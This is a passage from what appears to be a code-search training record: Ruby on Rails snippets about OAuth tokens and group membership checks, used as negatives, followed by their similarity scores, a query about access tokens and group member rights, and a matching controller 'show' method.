"def get_access(params: nil, host: nil)\n form = { grant_type: \"authorization\",\n code: params[:code],\n redirect_uri: url_helpers.authorisation_identities_url(host: host)\n }\n Faraday.new do |c|\n c.use Faraday::Request::BasicAuthentication\n end\n conn = Faraday.new(url: Setting.oauth[\"id_token_service_url\"])\n conn.params = form\n conn.basic_auth Setting.oauth[\"client_id\"], Setting.oauth[\"client_secret\"]\n resp = conn.post\n raise if resp.status >= 300\n @access_token = JSON.parse(resp.body)\n validate_id_token(id_token: @access_token[\"id_token\"])\n @user_proxy = UserProxy.set_up_user(access_token: @access_token, id_token: @id_token)\n if @user_proxy.has_a_kiwi?\n @user_proxy.kiwi.check_party\n publish(:valid_authorisation, @user_proxy)\n else\n publish(:create_a_kiwi, @user_proxy)\n end\n end",
"def token\n authenticated\n end",
"def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend",
"def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend",
"def validate_access_token obj\n if obj[\"access_token\"] == request_details[:access_token]\n User.new(obj)\n else\n false\n end\n end",
"def auth(controller)\n #controller.reset_session\n token = controller.params[:access_token]\n user = User.where(:access_token => token).first\n if user\n controller.sign_in(user)\n\n ## TODO: We should change the token here.\n\n data = \"<login\"\n data += \" name='#{user.name}'\"\n data += \" email='#{user.email}'\"\n data += \" roles='#{user.role_symbols.join(\",\")}'\"\n data += \" authToken='#{token}'\"\n data += \"/>\"\n controller.render :xml => data, :status => 200\n else\n controller.render :xml => \"<NoWay/>\", :status => 404\n end\n end",
"def index\n authorize TokenPermissionType\n @user = current_user\n @token_types = @user.org.token_permission_types\n end"
] |
[
"0.6840983",
"0.66833955",
"0.6674698",
"0.6633889",
"0.6377201",
"0.6346206",
"0.6334128",
"0.63094854",
"0.6225599",
"0.6202588",
"0.62009734",
"0.6194478",
"0.6180327",
"0.6175354",
"0.6166969",
"0.61594015",
"0.61582386",
"0.6126202",
"0.6126202",
"0.6126202",
"0.6102777",
"0.60995257",
"0.60995257",
"0.60927504",
"0.6082042",
"0.60815704",
"0.60794884",
"0.60736847",
"0.60695964",
"0.60660684",
"0.60660684",
"0.60452324",
"0.60389906",
"0.60324806",
"0.60322535",
"0.6030116",
"0.6020884",
"0.60200113",
"0.6016192",
"0.5999087",
"0.599494",
"0.5992358",
"0.598682",
"0.59832495",
"0.59815145",
"0.597924",
"0.5977756",
"0.5974609",
"0.5972917",
"0.5964457",
"0.5959165",
"0.59543717",
"0.59522444",
"0.59493196",
"0.59412915",
"0.592979",
"0.59297407",
"0.59297407",
"0.5927718",
"0.59245265",
"0.59215367",
"0.5921032",
"0.59209824",
"0.5917943",
"0.59146327",
"0.59143025",
"0.59137666",
"0.59119666",
"0.5909942",
"0.5901606",
"0.5899138",
"0.5891443",
"0.587856",
"0.5876809",
"0.587554",
"0.58755136",
"0.58664995",
"0.58638465",
"0.5848274",
"0.5845463",
"0.5843522",
"0.58428574",
"0.58375865",
"0.5833238",
"0.583176",
"0.58285445",
"0.58233887",
"0.5818338",
"0.58135056",
"0.58134806",
"0.58117855",
"0.5802299",
"0.5802027",
"0.5799376",
"0.5798866",
"0.57964545",
"0.57928693",
"0.5791665",
"0.5791462",
"0.5789741",
"0.5787068"
] |
0.0
|
-1
|
params: access_token, group_id member's right
|
def show
respond_with(@group, only: [:id, :name, :admin_id, :creator_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def members\n set_group \n @members = User.joins(:groups).where(\"group_id = ? and acceptance_status = ?\", params[:id], true) if GroupsController.group_member? current_user.id, params[:id]\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def li__my_groups(access_keys)\n access_token = OAuth::AccessToken.new(get_linkedin_consumer(3), access_keys[:access_token], access_keys[:access_secret])\n \n \n # -- X. WITH 'posts' -> to be used as part of automatically determining the location of the group (for targeted groups)\n # json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,posts,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # -- X. WITHOUT 'posts'\n json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # response = access_token.get(\"http://api.linkedin.com/v1/people/~/group-memberships:(group:(id,name,num-members,small-logo-url),membership-state,show-group-logo-in-profile,allow-messages-from-members,email-digest-frequency,email-announcements-from-managers,email-for-every-new-post)?format=json&start=0&count=1000\")\n # response = access_token.get(\"http://api.linkedin.com/v1/groups::(5049608,5112233,5161898):(id,name,site-group-url,posts)?format=json\")\n \n json_groups\n end",
"def access_inlcude_member\n @post = Post.find params[:id]\n\n unless @post.community_id == 0 \n @community = Community.find_by_id @post.community_id \n if @community.status.to_s == \"private\"\n if validate_member_for(@community,@post)\n #if true then redirect\n redirect_to RAILS_URL\n end\n end \n end\n end",
"def update\n @group_member = GroupMember.find(params[:id])\n\n if @group_member.group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group_member.group, notice: 'User not authorized.' }\n format.json { render json: @group_member, status: :not_authorized, location: @group_member }\n end\n return\n end\n \n respond_to do |format|\n if @group_member.update_attributes(params[:group_member])\n format.html { redirect_to @group_member, notice: 'Group member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def member_user\n if params[:group_id]\n @group = Group.find(params[:group_id])\n else\n @group = Group.find(by_id)\n end\n unless @group.has_member?(current_user)\n flash[:danger] = \"The page you requested is only available to members.\"\n redirect_to @group\n end\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def show\n @group = Group.includes(:users).find(params[:id])\n @group_member = GroupMember.new\n @group_member.group = @group\n\n if params[:from_reading_list]\n @reading_list = ReadingList.find(params[:from_reading_list])\n else\n @reading_list = nil\n end\n\n respond_to do |format|\n if @group.owner == current_user\n format.html\n format.json { render json: @group }\n else\n msg = \"You are not authorized to access group #{params[:id]}.\"\n format.html { redirect_to groups_url, alert: msg }\n format.json { render json: msg }\n end\n end\n end",
"def is_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_member?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def create\n ip = request.location\n @user = current_user\n @group = @user.groups_as_owner.new(params[:group])\n params[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n @group.school_id = @user.school_id\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n #logger.info \"GroupsController Get Parameters: #{params}\"\n if @group\n render json: @group.to_json(:include => {:memberships => {:only => [:admin], :include => {:user => {:only => [:id, :first_name, :last_name, :email]}}}})\n else\n render json: {error: \"YOU MUST BE MEMBER OF THIS GROUP TO SEE IT\"}, status: :unprocessable_entity\n end\n end",
"def group_member_params\n params.require(:group_member).permit(:name, :group_id)\n end",
"def create\n @group = current_user.groups.build(:name => params[:group][:name])\n @group.set_members(params[:member])\n\n if @group.save\n redirect_to root_path\n else\n render 'new'\n end\n\n end",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n authorize @group\n end",
"def join\n @group = Group.find(params[:id])\n \n if group_user = GroupUser.first(:conditions => ['group_id = ? AND user_id = ?', @group.id, current_user.id])\n if ['cancelled', 'invite_declined'].include?(group_user.status)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n elsif group_user.status == 'approved'\n flash[:error] = 'You are already member of this group.'\n else\n flash[:error] = 'You cannot join this group.'\n end\n else\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('User').id)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n end\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def join\n @group = Group.find(params[:id])\n \n if group_user = GroupUser.first(:conditions => ['group_id = ? AND user_id = ?', @group.id, current_user.id])\n if ['cancelled', 'invite_declined'].include?(group_user.status)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n elsif group_user.status == 'approved'\n flash[:error] = 'You are already member of this group.'\n else\n flash[:error] = 'You cannot join this group.'\n end\n else\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('User').id)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n end\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def update\n #logger.info \"Put parameters: #{params.to_json}\"\n\n if @membership.admin \n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n else \n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def access_token\n end",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def atest_ID_25874_user_follows_a_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n follow_a_group\n logout_common\n login_as_user1\n verify_updates\n end",
"def custom_authenticate_member(current_member)\n if current_member == nil && params[:master_api_key] != \"thisisatest\" \n render :json => { :errors => [\"Authorized users only.\"] }, status: 401\t\n end\n end",
"def group_params\n params.require(:group).permit!\n #params.require(:group).permit(:name, :email, :course_id, :creator_id, :creator_username, :creator_firstname, :creator_lastname, :creator_email, :members)\n end",
"def index\n @group = Group.find(params[:id])\n @members = GroupUser.where(:group_id => params[:id])\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def show\n authorize! :show, @group\n end",
"def is_member_in(group)\n unless group.members.include? current_user\n flash[:danger] = \"Devi essere un membro per accedere ad un gruppo ed alle sue informazioni\"\n redirect_to groups_path\n end\n end",
"def create\n member_email = params[:member_email]\n member = User.find_by_email(member_email)\n group = Group.find(params[:group_member][:group_id])\n \n if group.owner != current_user\n respond_to do |format|\n format.html { redirect_to group, notice: 'User not authorized.' }\n format.json { render json: group, status: :not_authorized, location: group }\n end\n return\n end\n \n if member\n if !group.has_member(member_email)\n @group_member = GroupMember.new\n @group_member.user = member\n @group_member.group = group\n if @group_member.save\n message = \"Successfully added #{member_email} to the group\"\n AddUserToGroupNotifier.delay.added(@group_member.user, @current_user.name)\n end\n else\n message = \"Group already contains the member #{member_email}\"\n end\n else\n message = \"No member exists with the email #{member_email}\"\n end\n\n respond_to do |format|\n format.html { redirect_to group, notice: message }\n format.json { render json: group, status: :created, location: @group_member }\n end\n end",
"def set_group_member\n @groupmember = GroupMember.find(params[:id])\n end",
"def test_should_join_a_group_as_admin_via_API_JSON\r\n get \"/logout\"\r\n post \"/memberships.json\", :api_key => 'testapikey',\r\n :group_id => 1,\r\n :user_id => 1\r\n assert_response :created\r\n membership = JSON.parse(response.body)\r\n assert membership['user_id'] == 1, 'Incorrect user id'\r\n assert membership['group_id'] == 1, 'Incorrect group id'\r\n assert membership['role_id'].to_i == Role.find_by_rolename('group_admin').id, 'Incorrect role id' \r\n end",
"def request_access(_team)\n # stub\n end",
"def group_params\n params.permit(:group_title, :image, new_members: [], del_members: [], new_admins: [], del_admins: [])\n end",
"def group_params\n params.require(:group).permit(:name, rights_attributes: [:id, :name, :is_available, :right_ids])\n end",
"def require_member_of_group_if_private\n if !current_group.public\n require_member_of_group\n end\n end",
"def group_member_params\n params.fetch(:group_member, {})\n end",
"def group_member_params\n params.fetch(:group_member, {})\n end",
"def group_params\n params.require(:group).permit(:member,:name, :region, :console_id,{:game_ids => []}, :description)\n end",
"def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end",
"def set_group_member\n @group_member = GroupMember.find_by(group_id:params[:id])\n end",
"def show_group\n group_name = params[:name]\n @group = $iam.groups[group_name]\n @users = @group.users\n @policies = @group.policies\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end",
"def update\n\t\tparams[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n\t\t#special method update_attribute only updates explicitly stated attribute\n\t\tif @group.update_attributes(params[:group])\n\t\t\tredirect_to @group\n\t\t\tflash[:success] = \"group updated\"\n\t\tend\n\tend",
"def update\n token = params[:token]\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group\n strong_memoize(:group) do\n if params[:group_id].present? && valid_request?\n the_group = Group.find_by(id: params[:group_id])\n can?(current_user, :read_group, the_group) ? the_group : nil\n end\n end\n end",
"def modify_group\n group = Group.find_by_id params[:group_id]\n current_maillist = get_maillist_for_space(group.id)\n\n if params[:join_type]\n params[:join_level] = convert_join_type_to_join_level(params[:join_type])\n end\n\n if params[:leader_id] && params[:leader_id] != group.leader_id\n membership = group.group_memberships.where(user_id: params[:leader_id]).first\n return render :json => {}, :status => :bad_request unless membership\n params[:leader] = membership.user\n end\n\n if params[:maillist] != current_maillist\n render json: { valid_maillist: false }, status: :ok unless params[:maillist].empty? || maillist_is_valid?(params[:maillist])\n # params[:new_membership] = maillist_members(params[:maillist]).map { |member| Pseudonym.find_by_unique_id(member).user rescue nil}.compact\n params[:new_membership] = maillist_members(params[:maillist]).map do |member|\n pseudonym = Pseudonym.active.by_unique_id member\n pseudonym.first.user unless pseudonym.empty?\n end\n params[:new_membership].compact!\n params[:new_membership].uniq!\n end\n\n if authorized_action(group, @current_user, :update)\n respond_to do |format|\n group.transaction do\n group.update_attributes(params.permit(*SETTABLE_GROUP_ATTRIBUTES))\n if params.has_key?(:leader)\n group.leader = params[:leader]\n end\n if params.has_key?(:new_membership) && params[:new_membership].empty?\n group.group_memberships.where(\"user_id NOT IN (?)\", [group.leader]).destroy_all\n delete_maillist_for_space(group.id)\n end\n group.set_users(params[:new_membership]) if params.has_key?(:new_membership)\n set_maillist_for_space(group.id, params[:maillist]) unless params[:maillist].nil? || params[:maillist].empty?\n end\n\n if !group.errors.any?\n format.json { render :json => group_formatter(group, { include: ['users'] }), :status => :ok }\n else\n format.json { render :json => @group.errors, :status => :bad_request }\n end\n end\n end\n end",
"def group_params\n params.require(:group).permit(:name, :access_level)\n end",
"def update\n return render json: {}, status: :no_content unless group_member_params[:mentor]\n\n @group_member.update(group_member_params)\n render json: {}, status: :accepted\n end",
"def show\n @game.group = @group\n authorize @game\n end",
"def index\n authorize Group\n render :json => @group.group_memberships\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def get_accountholdergroups_token_with_http_info(token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountHolderGroupsApi.get_accountholdergroups_token ...'\n end\n # verify the required parameter 'token' is set\n if @api_client.config.client_side_validation && token.nil?\n fail ArgumentError, \"Missing the required parameter 'token' when calling AccountHolderGroupsApi.get_accountholdergroups_token\"\n end\n # resource path\n local_var_path = '/accountholdergroups/{token}'.sub('{' + 'token' + '}', CGI.escape(token.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AccountHolderGroupResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"AccountHolderGroupsApi.get_accountholdergroups_token\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountHolderGroupsApi#get_accountholdergroups_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def credit_requester_for_unused_group_requests\n requester_request_groups = RequestGroup.where([\"request_id = ?\", @request_group.request_id])\n if requester_request_groups.count > 1\n request_groups_not_accepted = requester_request_groups.reject { |request_group| request_group.group_id == @request_group.group_id }\n requester = @request_group.request.user\n request_groups_not_accepted.each { |request_group| requester.add_tokens(request_group) } \n end\n end",
"def access_group_params\n params.require(:access_group).permit(:name, :ldap_group_list)\n end",
"def update\n @group = Group.find(params[:id])\n @group.name = params[:group][:name]\n @group.set_members(params[:member])\n\n if @group.save\n redirect_to root_path\n else\n render 'edit'\n end\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def destroy\n @group_member = GroupMember.find(params[:id])\n\n if @group_member.group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group_member.group, notice: 'User not authorized.' }\n format.json { render json: @group_member, status: :not_authorized, location: @group_member }\n end\n return\n end\n\n group = @group_member.group\n @group_member.destroy\n\n respond_to do |format|\n format.html { redirect_to group_url(group) }\n format.json { head :no_content }\n end\n end",
"def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def add_group_member(dept_id, user_id)\n\n user_create = {\n \"@odata.id\" => \"https://graph.microsoft.com/v1.0/directoryObjects/#{user_id}\"\n }\n\n response = HTTParty.post(\"https://graph.microsoft.com/v1.0/groups/#{dept_id}/members/$ref\", { \n \n body: user_create.to_json,\n\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Host\" => 'graph.microsoft.com',\n \"Content-Type\" => 'application/json', \n\n }\n\n })\n\n case response.code\n when 204\n return response.code\n when 400...600\n return JSON.parse response.read_body\n end\n \n end",
"def create\n @group = Group.new(group_params)\n member = Member.create\n @group.members << member\n current_user.members << member\n\n @group.owner = member\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_del_member\n id = Base64.decode64(params[:id]) \n if params[:type] =='add' \n status = params[:gtype] == 'Private' ? 0 : 1 ; #0 means admin needs to accept, 1 directly join public group\n member = GroupMember.create(:group_id=> id,:account_id =>current_user.id, :status => status)\t\t\n\t\t\t if member.save\n\t\t\t\trender :json => 1 and return \n\t\t\t else\n\t\t\t\trender :json => 0 and return \n\t\t\t end \t\n else\n member = GroupMember.where(:group_id=> id,:account_id =>current_user.id).first\n if member.present? && member.delete\n render :json => 1 and return \n else\n\t\trender :json => 0 and return \n end \t\n end\n \n \n end",
"def member_params\n params.require(:member).permit(:group_id, :contact_id)\n end",
"def membership_params\n params.require(:membership).permit( :group_id, :user_id)\n end",
"def group_request (v1_requests_params)\n req = Request.find(v1_requests_params[:id])\n @group = Group.where(id: v1_requests_params[:group_id]).first\n user = User.find(req.reciever_id)\n if v1_requests_params[:response]\n @group.users << user\n end\n @group\n end",
"def set_group_member\n @group_member = GroupMember.find(params[:id])\n end",
"def set_group_member\n @group_member = GroupMember.find(params[:id])\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"Not In Group\", 404) and return \\\n unless @group\n @g_user = GroupUser.where(group_id: @group.id, user_id: @user.id).first\n end",
"def atest_ID_25862_new_post_in_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"Family\")\n logout_common\n login_as_user2\n post_to_any_group(\"Family\",groupName)\n logout_common\n login_as_user1\n verify_updates\n end",
"def add_group_permission(g)\n\t\t\n\tend",
"def members\n @group = Group.find(params[:group_id])\n @members = @group.users\n end",
"def find_oauth_access_token\n end",
"def group_params\n params.require(:group).permit(:owner_id, :parent_id, :name, :permissions)\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def index\n @group = current_user.groups.find_by(id: params[:group_id]) || @groups.first\n end",
"def auth_token_params\n params.require(:auth_token).permit(:label, group: [])\n end",
"def index\n if params[:group_id]\n @members = Group.find(params[:group_id]).members\n else\n @members = Member.all\n end\n end",
"def isUserMemberOfGroup \n redirect_to groups_path unless !GroupMember.userIsAlreadyInGroup(params[:group_id], current_user.id)\n end",
"def require_member_of_group\n if !member_of(current_group)\n # TODO: Add flash alert\n redirect_back fallback_location: home_path\n end\n end",
"def show\n @billboards = []\n Billboard.all.each {|a| @billboards << a if a.active }\n @group = Group.find(params[:id])\n\n message = \"You do not have access to the working group <strong>'#{@group.name}'</strong> at this time. If you are interested in joining this group, please let us know.\"\n authorize! :read, @group, :message => message.html_safe\n\n unless @group.overview_page.nil?\n redirect_to Page.find(@group.overview_page)\n else \n redirect_to group_posts_path(@group)\n end\n end",
"def update\n space = Space.find(params[:space_id])\n group = Group.find(space.group_id)\n group_member_ids = Member.where(group_id: group.id).pluck(:user_id)\n user_id = User.find(@reservation.member.user_id)\n unless group.user_id == @current_user.id || user_id == @current_user.id\n return render json: { message: \"You are not permitted to perform this operation.\" }, status: :forbidden\n end\n if @reservation.update(reservation_params)\n render json: @reservation, status: :ok\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def set_member_group\n @member_group = MemberGroup.find(params[:id])\n end",
"def member_of(group)\n current_user.is_member?(group)\n end",
"def create\n #TODO validate that the params[:id] is a legal value for user\n @group = Group.find(params[:group_id])\n authorize! :edit, @group\n Hydra::LDAP.add_users_to_group(@group.code, [params[:id]])\n redirect_to edit_group_path(@group), :notice=>\"Added member #{params[:id]}\"\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def check_membership\n unless @group.includes_user?(current_user)\n respond_to do |format|\n flash.alert = \"Forbidden: must be a member.\"\n format.js { render js: \"window.location.href = '#{groups_url}'\" }\n format.html { redirect_to groups_url }\n end\n end\n end",
"def group_params\n params.require(:group).permit(:name, :owner_id)\n end",
"def set_group_member\n @client = Client.find(params[:client_id])\n @group_member = GroupMember.find(params[:id])\n @group_member.client = @client\n end",
"def index\n @member_groups = @user.groups_where_member\n @admin_groups = @user.groups_where_admin\n end",
"def test_should_join_a_group_as_user_via_API_JSON\r\n get \"/logout\"\r\n post \"/memberships.json\", :api_key => 'testapikey',\r\n :group_id => 1,\r\n :user_id => 3\r\n assert_response :created\r\n membership = JSON.parse(response.body)\r\n assert membership['user_id'] == 3, 'Incorrect user id'\r\n assert membership['group_id'] == 1, 'Incorrect group id'\r\n assert membership['role_id'].to_i == Role.find_by_rolename('user').id, 'Incorrect role id' \r\n end",
"def permission_grants()\n return MicrosoftGraph::Me::JoinedTeams::Item::PermissionGrants::PermissionGrantsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def authenticate_with_api_token!\n unless Project.where(id: params[:project_id], api_token: params[:api_token]).exists?\n render_error_with_message(t('controllers.api.v1.groups.invalid_api_token'), :unauthorized)\n end\n end"
] |
[
"0.6494549",
"0.6379158",
"0.63727546",
"0.620584",
"0.61124986",
"0.60171694",
"0.6004824",
"0.6004409",
"0.598219",
"0.5950695",
"0.59488374",
"0.593673",
"0.59211487",
"0.59189284",
"0.58942175",
"0.58853483",
"0.5882451",
"0.58343893",
"0.5827207",
"0.5801884",
"0.57956094",
"0.5775115",
"0.5775115",
"0.5770036",
"0.57669556",
"0.5751414",
"0.5743322",
"0.5740969",
"0.5732378",
"0.57290953",
"0.5713244",
"0.5705706",
"0.56958663",
"0.5681915",
"0.5676116",
"0.5659963",
"0.56543297",
"0.5647996",
"0.5637577",
"0.5631604",
"0.56178457",
"0.56164724",
"0.56164724",
"0.56127393",
"0.5607336",
"0.5606889",
"0.56018126",
"0.55995315",
"0.5590483",
"0.55874264",
"0.5582217",
"0.55790246",
"0.55771214",
"0.55763817",
"0.55762106",
"0.55749416",
"0.55713797",
"0.55606395",
"0.55572325",
"0.5555099",
"0.554857",
